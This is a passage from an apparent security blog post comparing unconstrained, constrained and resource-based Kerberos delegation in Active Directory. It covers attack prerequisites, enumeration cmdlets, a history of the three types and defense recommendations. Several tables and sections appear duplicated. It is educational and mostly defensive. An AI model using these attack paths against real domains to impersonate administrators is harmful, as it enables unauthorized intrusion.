│ Attack requires │ Be ON the server │ Service acct hash│ GenericWrite on │
│ │ │ │ target + create │
│ │ │ │ computer account │
│ Attack result │ Steal any user's │ Impersonate to │ Impersonate DA │
│ │ TGT → any svc │ allowed services │ to target only │
│ Real-world scenario │ Corporate portal │ Hospital patient │ E-commerce │
│ │ (SSO dashboard) │ records system │ inventory system │
│ Enumeration │ Get-DomainComp │ Get-DomainUser │ Get-ObjectAcl │
│ │ -Unconstrained │ -TrustedToAuth │ (GenericWrite) │
└─────────────────────┴──────────────────┴──────────────────┴──────────────────┘┌─────────────────────┬──────────────────┬──────────────────┬──────────────────┐
│ │ Unconstrained │ Constrained │ RBCD │
├─────────────────────┼──────────────────┼──────────────────┼──────────────────┤
│ Year │ 2000 │ 2003 │ 2012 │
│ User's TGT sent? │ YES (forwarded!) │ NO │ NO │
│ Mechanism │ TGT forwarding │ S4U2Self+Proxy │ S4U2Self+Proxy │
│ Can delegate to │ ANY service │ Listed SPNs only │ Configured by │
│ │ │ │ target │
│ KDC checks │ Nothing (TGT │ AllowedTo │ AllowedToAct │
│ │ = master key) │ DelegateTo │ OnBehalfOf... │
│ Attribute on │ Frontend (flag) │ Frontend (list) │ BACKEND (list) │
│ Key AD attribute │ TRUSTED_FOR_ │ msDS-AllowedTo │ msDS-AllowedTo │
│ │ DELEGATION │ DelegateTo + │ ActOnBehalfOf │
│ │ (UAC flag) │ TRUSTED_TO_AUTH │ OtherIdentity │
│ │ │ _FOR_DELEGATION │ │
│ Configured by │ Domain Admin │ Domain Admin │ Resource owner │
│ Attack requires │ Be ON the server │ Service acct hash│ GenericWrite on │
│ │ │ │ target + create │
│ │ │ │ computer account │
│ Attack result │ Steal any user's │ Impersonate to │ Impersonate DA │
│ │ TGT → any svc │ allowed services │ to target only │
│ Real-world scenario │ Corporate portal │ Hospital patient │ E-commerce │
│ │ (SSO dashboard) │ records system │ inventory system │
│ Enumeration │ Get-DomainComp │ Get-DomainUser │ Get-ObjectAcl │
│ │ -Unconstrained │ -TrustedToAuth │ (GenericWrite) │
└─────────────────────┴──────────────────┴──────────────────┴──────────────────┘Part 6: The Evolution — Why Each Type Exists
2000 — Unconstrained Delegation:
Problem solved: services can't access backend resources as the user
Solution: forward the user's TGT to the service
New problem: service can access ANYTHING as the user → too dangerous!
2003 — Constrained Delegation:
Problem solved: unconstrained is too dangerous
Solution: limit delegation to specific SPNs (AllowedToDelegateTo)
New problem: only Domain Admins can configure it → operational bottleneck!
2012 — Resource-Based Constrained Delegation:
Problem solved: constrained requires Domain Admin for every change
Solution: let the resource owner configure who can delegate (AllowedToActOnBehalf)
New problem: GenericWrite on a computer → configure RBCD → code execution!
Each solution fixed one problem but introduced a new attack surface.
The story of delegation = the story of security trade-offs.
No limits → Add limits → Move control to the target
More security → More complexity → New attack vectors2000 — Unconstrained Delegation:
Problem solved: services can't access backend resources as the user
Solution: forward the user's TGT to the service
New problem: service can access ANYTHING as the user → too dangerous!
2003 — Constrained Delegation:
Problem solved: unconstrained is too dangerous
Solution: limit delegation to specific SPNs (AllowedToDelegateTo)
New problem: only Domain Admins can configure it → operational bottleneck!
2012 — Resource-Based Constrained Delegation:
Problem solved: constrained requires Domain Admin for every change
Solution: let the resource owner configure who can delegate (AllowedToActOnBehalf)
New problem: GenericWrite on a computer → configure RBCD → code execution!
Each solution fixed one problem but introduced a new attack surface.
The story of delegation = the story of security trade-offs.
No limits → Add limits → Move control to the target
More security → More complexity → New attack vectorsPart 7: Defense Recommendations
Unconstrained Delegation
→ Audit: Get-DomainComputer -Unconstrained → find all unconstrained servers
→ Migrate to constrained delegation or RBCD where possible
→ Add privileged accounts to the Protected Users group (TGTs not forwardable!)
→ Disable the Print Spooler on servers with unconstrained delegation
→ Monitor for TGT extraction (Mimikatz/Rubeus patterns in memory)
→ Domain Controllers always have this flag — can't remove it, but can harden→ Audit: Get-DomainComputer -Unconstrained → find all unconstrained servers
→ Migrate to constrained delegation or RBCD where possible
→ Add privileged accounts to the Protected Users group (TGTs not forwardable!)
→ Disable the Print Spooler on servers with unconstrained delegation
→ Monitor for TGT extraction (Mimikatz/Rubeus patterns in memory)
→ Domain Controllers always have this flag — can't remove it, but can hardenConstrained Delegation
→ Audit: Get-DomainUser -TrustedToAuth + Get-DomainComputer -TrustedToAuth
→ Protect service account credentials (long random passwords, rotate regularly!)
→ Use Group Managed Service Accounts (gMSA) — automatic password rotation
→ Limit the SPNs in AllowedToDelegateTo to the absolute minimum needed
→ Avoid SPNs without ports (makes /altservice trick harder)
→ Monitor for S4U activity from unexpected source accounts→ Audit: Get-DomainUser -TrustedToAuth + Get-DomainComputer -TrustedToAuth
→ Protect service account credentials (long random passwords, rotate regularly!)
→ Use Group Managed Service Accounts (gMSA) — automatic password rotation
→ Limit the SPNs in AllowedToDelegateTo to the absolute minimum needed
→ Avoid SPNs without ports (makes /altservice trick harder)
→ Monitor for S4U activity from unexpected source accountsRBCD
→ Audit GenericWrite/GenericAll/WriteProperty on computer objects (BloodHound!)
→ Reduce ms-DS-MachineAccountQuota from 10 to 0 (prevent computer creation!)
→ Monitor changes to msDS-AllowedToActOnBehalfOfOtherIdentity
→ Monitor for new computer account creation (Event ID 4741)
→ Use BloodHound to map all RBCD attack paths proactively
→ Restrict who can write to computer object attributes→ Audit GenericWrite/GenericAll/WriteProperty on computer objects (BloodHound!)
→ Reduce ms-DS-MachineAccountQuota from 10 to 0 (prevent computer creation!)
→ Monitor changes to msDS-AllowedToActOnBehalfOfOtherIdentity
→ Monitor for new computer account creation (Event ID 4741)
→ Use BloodHound to map all RBCD attack paths proactively
→ Restrict who can write to computer object attributesConclusion
Kerberos delegation is a necessary mechanism in enterprise environments — services genuinely need to access backend resources as the logged-in user for compliance, auditing, and access control. But each implementation trades off security for functionality:
Unconstrained gives maximum flexibility at the cost of maximum risk. A single compromised server yields every user's master key.
Constrained adds meaningful restrictions but centralizes all control with Domain Admins and still allows impersonation to the allowed services with just a service account hash.
RBCD decentralizes control to resource owners but opens a completely new attack vector: anyone who can write to a computer object can gain code execution on that machine.
The key takeaway: delegation is not just a Kerberos feature to memorize for an exam. It's a critical attack surface that exists in every Active Directory environment. Whether you're defending or attacking, knowing which type exists where, what each one requires, and what happens when it's compromised is essential.
If you found this useful, follow me for more deep dives into Active Directory attacks, Kerberos internals, and red team techniques.
#CyberSecurity #ActiveDirectory #Kerberos #RedTeam #PenTesting #InfoSec #EthicalHacking #WindowsSecurity #OSEP #OffensiveSecurity #BlueTeam #Delegation